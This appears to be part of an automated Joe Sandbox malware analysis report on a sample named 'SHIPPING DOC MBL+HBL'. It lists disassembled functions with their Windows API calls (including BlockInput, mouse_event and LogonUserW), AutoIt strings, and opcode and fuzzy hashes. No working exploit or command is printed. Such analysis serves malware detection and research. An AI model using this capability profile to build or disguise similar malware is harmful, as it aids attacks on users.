Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6c4849efe7a0ff1c54eae10928979c07c512a46dc63bde4281134e2965fff092
Instruction ID: e5e96650a48eef351b6382d28677995d01af2e62a20109302c912e9c00a1526b
Opcode Fuzzy Hash: 6c4849efe7a0ff1c54eae10928979c07c512a46dc63bde4281134e2965fff092
Instruction Fuzzy Hash: 21B09231254308AFCA002B92EC09B883F68EB46AA2F404020F60D94060CB6254548B91

Function 00E2F359 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 948773515dfefe471a8f46c89856d15cb35807f24706d5192141743c8be69132
Instruction ID: d4df68166191ea50f8612e45b7a9cd27395c96c44b776835097a58fb0d2893ba
Opcode Fuzzy Hash: 948773515dfefe471a8f46c89856d15cb35807f24706d5192141743c8be69132
Instruction Fuzzy Hash: 5A322562D29F114DD7239635D832336A359AFB73C8F15E737E81AB5AA6EB28C4C74100

Function 00E325AE Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff6ceaf32f0abedb99080420e9491856f31b4ec1517edebbfdc32b944a9a2f8
Instruction ID: 1a11bc34e5b3e83fb4bb1dddac2c7f62fdf51fffeccafb554d56a208f69f6884
Opcode Fuzzy Hash: dff6ceaf32f0abedb99080420e9491856f31b4ec1517edebbfdc32b944a9a2f8
Instruction Fuzzy Hash: 6FB11130D2AF404DD723963A8835336BA8CAFBB6C5F55D72BFC6674D22EB2185874181

Function 00E7401F Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00E7403A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: ba0276039cdfc972a5de5f2e4bbe60af2eb838b3447e0dd5fbfa0913e564798e
Instruction ID: 3589fd9f9abea47da0c17a576c42082340ab7db9b2db22aaccea0f7cc4efdc86
Opcode Fuzzy Hash: ba0276039cdfc972a5de5f2e4bbe60af2eb838b3447e0dd5fbfa0913e564798e
Instruction Fuzzy Hash: BDE048712001145FD710AF59D444A96FBE8AF647A0F00D019FD4DE7392DB70E8448B91

Function 00E64CFA Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00E64D1D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 1d17e473596cc5825b36fde455e687505a06c8115e56b090df6b51fc352d1e4c
Instruction ID: 8f2a8ce716f8ffc806db21b963a8cfc651e4bcdba08689ca55e45e4f947e5423
Opcode Fuzzy Hash: 1d17e473596cc5825b36fde455e687505a06c8115e56b090df6b51fc352d1e4c
Instruction Fuzzy Hash: 59D09EE49E460579FC280B20BC1FBB61109F300BDAFA465497606B71C5A8E85C45A435

Function 00E58A73 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00E586B1), ref: 00E58A93

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 0cabfa572a0816d57320f7ce2b6cd6c61a530b109ef0cf28cf78d2a62f2ad745
Instruction ID: b22122a9391a9f25a82b07e21fea019a4eb6cdc844089885969641a728972e80
Opcode Fuzzy Hash: 0cabfa572a0816d57320f7ce2b6cd6c61a530b109ef0cf28cf78d2a62f2ad745
Instruction Fuzzy Hash: 7CD09E3226450EAFEF019EA4DD05EAE3B69EB04B01F408511FE15D51A1C775D935AB60

Function 00E4215F Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00E42171

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: ac48d87c1148329e05f5945d706d24f84911f08720198d11e8e88b8a1481040d
Instruction ID: baddaa0b808d36e567e0f91615190d38dfc9962350b1cfef27961a79b7f1c53e
Opcode Fuzzy Hash: ac48d87c1148329e05f5945d706d24f84911f08720198d11e8e88b8a1481040d
Instruction Fuzzy Hash: C8C048F1801109DFCB05DBA1EA88DEEB7BCAB08304F2040A6E106F2100D7749B889B72

Function 00E2A2A4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00E2A2AA

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a816f6458c704e89912322086d106a0f1de0611329d945dc8b2641fa7f358b06
Instruction ID: 5b5a46477a0c8aed7dd83651fecdb38cdd4e60e6bbb12e351a11ec94d01ae46b
Opcode Fuzzy Hash: a816f6458c704e89912322086d106a0f1de0611329d945dc8b2641fa7f358b06
Instruction Fuzzy Hash: F6A0113000020CAB8A002B82EC08888BFACEB022A0B008020F80C800228B32A8208A80

Function 00E18968 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b44bd65fe6c8f624e510713d66af8b7647774a9e817973d9595cb79065cadc8
Instruction ID: 4ec0b1f5b3bb75e5067e53873ec1d7243fd94befcc289d06f93b87145db66302
Opcode Fuzzy Hash: 0b44bd65fe6c8f624e510713d66af8b7647774a9e817973d9595cb79065cadc8
Instruction Fuzzy Hash: 93224976508645CBCF388A18C6A4BFD77A1FF01309F64A86ADC56BB591DB309DC5C740

Function 00E22345 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 9545f027c52ac9ce5f79948cd953770bdfbfe2cbdd504a4b075f918b0ac83ea1
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: FEC1993220507309EF2D4639A53413EFFA15EA27B631A27ADE4B3EB1D5EF50C664D620

Function 00E2277A Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 8641f341da8f82053dc25762242d8107a93377b3e8c8392badabd0c8201cae60
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 99C186322151B309EF2D4639953413EBFA15FA27B631A27ADE4B2EB1D4EF10C664D620

Function 00E21AF8 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 771f4d624d6ec0887daa0f365929d938e7a273c86c9e9259c3505b5f4b507b12
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: F9C1643620516349EB2D4639A53413EFAA15EB27B631A27EDE4B3EB1C4EF10C624D610

Function 00FEADF8 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: df8bbdcf0dde6b2834821f8431a5b17a078f1061c42e52e3e4bc3c868a913a9c
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: EB41B371D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB90

Function 00FEACE8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 48469681b11aa8b0118f13314fce1e7597b1c629b015d903811ae251e75d5194
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 91019278E01109EFCB54DF99C5909AEF7B5FB88310F208699E809A7705D730AE41EB81

Function 00FEAC88 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 955479657bb67d7db8fa08c5da43cf74aa3ab1aa137fb5086d4e22e403fdea6a
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: D8019278E01109EFCB44DF99C5909AEF7B5FB48310F208599E809A7301D730EE41EB81

Function 00FE9658 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 00E7791B Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00E77970
DeleteObject.GDI32(00000000), ref: 00E77982
DestroyWindow.USER32 ref: 00E77990
GetDesktopWindow.USER32 ref: 00E779AA
GetWindowRect.USER32(00000000), ref: 00E779B1
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00E77AF2
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00E77B02
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77B4A
GetClientRect.USER32(00000000,?), ref: 00E77B56
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00E77B90
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77BB2
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77BC5
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77BD0
GlobalLock.KERNEL32(00000000), ref: 00E77BD9
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77BE8
GlobalUnlock.KERNEL32(00000000), ref: 00E77BF1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77BF8
GlobalFree.KERNEL32(00000000), ref: 00E77C03
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77C15
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00E92CAC,00000000), ref: 00E77C2B
GlobalFree.KERNEL32(00000000), ref: 00E77C3B
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00E77C61
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00E77C80
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77CA2
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E77E8F

Strings

static, xrefs: 00E77B8A, 00E77CE1
AutoIt v3, xrefs: 00E77B42
, xrefs: 00E77E15
DISPLAY, xrefs: 00E77CF2

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 3399bc55929403ef78185b64b1a56e2029dba25312dd0fad5bfc44a99be50126
Instruction ID: 05179fcfeb5a7299d46d47950f2b637feafc1b9486d6c73a5c75ab9b7746c3dc
Opcode Fuzzy Hash: 3399bc55929403ef78185b64b1a56e2029dba25312dd0fad5bfc44a99be50126
Instruction Fuzzy Hash: 16027D71900105EFDB14DFA5CC89EAEBBB9EF48310F108169F959BB2A1DB30AD45CB60

Function 00E835D4 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00E8F910), ref: 00E83690
IsWindowVisible.USER32(?), ref: 00E836B4

Strings

ISENABLED, xrefs: 00E836D4
SENDCOMMANDID, xrefs: 00E83A43
GETCURRENTLINE, xrefs: 00E83956
GETLINE, xrefs: 00E83A04
DELSTRING, xrefs: 00E837B2
HIDEDROPDOWN, xrefs: 00E83769
TABLEFT, xrefs: 00E836F0
GETCURRENTSELECTION, xrefs: 00E8384C
SETCURRENTSELECTION, xrefs: 00E8381F
FINDSTRING, xrefs: 00E837DF
SELECTSTRING, xrefs: 00E8386F
SHOWDROPDOWN, xrefs: 00E83749
CHECK, xrefs: 00E838D6
GETLINECOUNT, xrefs: 00E8392F
ISCHECKED, xrefs: 00E838A2
EDITPASTE, xrefs: 00E839C8
ADDSTRING, xrefs: 00E8377F
UNCHECK, xrefs: 00E838EC
GETSELECTED, xrefs: 00E8390C
ISVISIBLE, xrefs: 00E836A0
GETCURRENTCOL, xrefs: 00E83991
TABRIGHT, xrefs: 00E83706
CURRENTTAB, xrefs: 00E83726

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 4a87bcdfc0e21798d9d43883aecf31d16a126477e64202e07ee679e807dac1a1
Instruction ID: 8d96868081f19079e3498dfbbc9ff0ce749f77170cc13ebc0e13ebcf71cbdf4d
Opcode Fuzzy Hash: 4a87bcdfc0e21798d9d43883aecf31d16a126477e64202e07ee679e807dac1a1
Instruction Fuzzy Hash: E0D192702042119BCB14FF24C492AAAB7E5AF95744F146958F88E7B3E3DB31DE4ACB41

Function 00E8A60C Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00E8A662
GetSysColorBrush.USER32(0000000F), ref: 00E8A693
GetSysColor.USER32(0000000F), ref: 00E8A69F
SetBkColor.GDI32(?,000000FF), ref: 00E8A6B9
SelectObject.GDI32(?,00000000), ref: 00E8A6C8
InflateRect.USER32(?,000000FF,000000FF), ref: 00E8A6F3
GetSysColor.USER32(00000010), ref: 00E8A6FB
CreateSolidBrush.GDI32(00000000), ref: 00E8A702
FrameRect.USER32(?,?,00000000), ref: 00E8A711
DeleteObject.GDI32(00000000), ref: 00E8A718
InflateRect.USER32(?,000000FE,000000FE), ref: 00E8A763
FillRect.USER32(?,?,00000000), ref: 00E8A795
GetWindowLongW.USER32(?,000000F0), ref: 00E8A7C0

Part of subcall function 00E8A8FC: GetSysColor.USER32(00000012), ref: 00E8A935
Part of subcall function 00E8A8FC: SetTextColor.GDI32(?,?), ref: 00E8A939
Part of subcall function 00E8A8FC: GetSysColorBrush.USER32(0000000F), ref: 00E8A94F
Part of subcall function 00E8A8FC: GetSysColor.USER32(0000000F), ref: 00E8A95A
Part of subcall function 00E8A8FC: GetSysColor.USER32(00000011), ref: 00E8A977
Part of subcall function 00E8A8FC: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00E8A985
Part of subcall function 00E8A8FC: SelectObject.GDI32(?,00000000), ref: 00E8A996
Part of subcall function 00E8A8FC: SetBkColor.GDI32(?,00000000), ref: 00E8A99F
Part of subcall function 00E8A8FC: SelectObject.GDI32(?,?), ref: 00E8A9AC
Part of subcall function 00E8A8FC: InflateRect.USER32(?,000000FF,000000FF), ref: 00E8A9CB
Part of subcall function 00E8A8FC: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00E8A9E2
Part of subcall function 00E8A8FC: GetWindowLongW.USER32(00000000,000000F0), ref: 00E8A9F7
Part of subcall function 00E8A8FC: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00E8AA1F

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: d75ea2258fe8fe0aa4cf49c2e3956e0bc91614427172033540772b59b951036d
Instruction ID: a07fc10d971d0ef22905aff0c6ead338264e4e4ca838870d8ac7de6083f4f730
Opcode Fuzzy Hash: d75ea2258fe8fe0aa4cf49c2e3956e0bc91614427172033540772b59b951036d
Instruction Fuzzy Hash: 88919F72008301EFDB10AF65DC08E5B7BA9FF88321F141B2AF56AB61A1D731D848DB52

Function 00E02C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

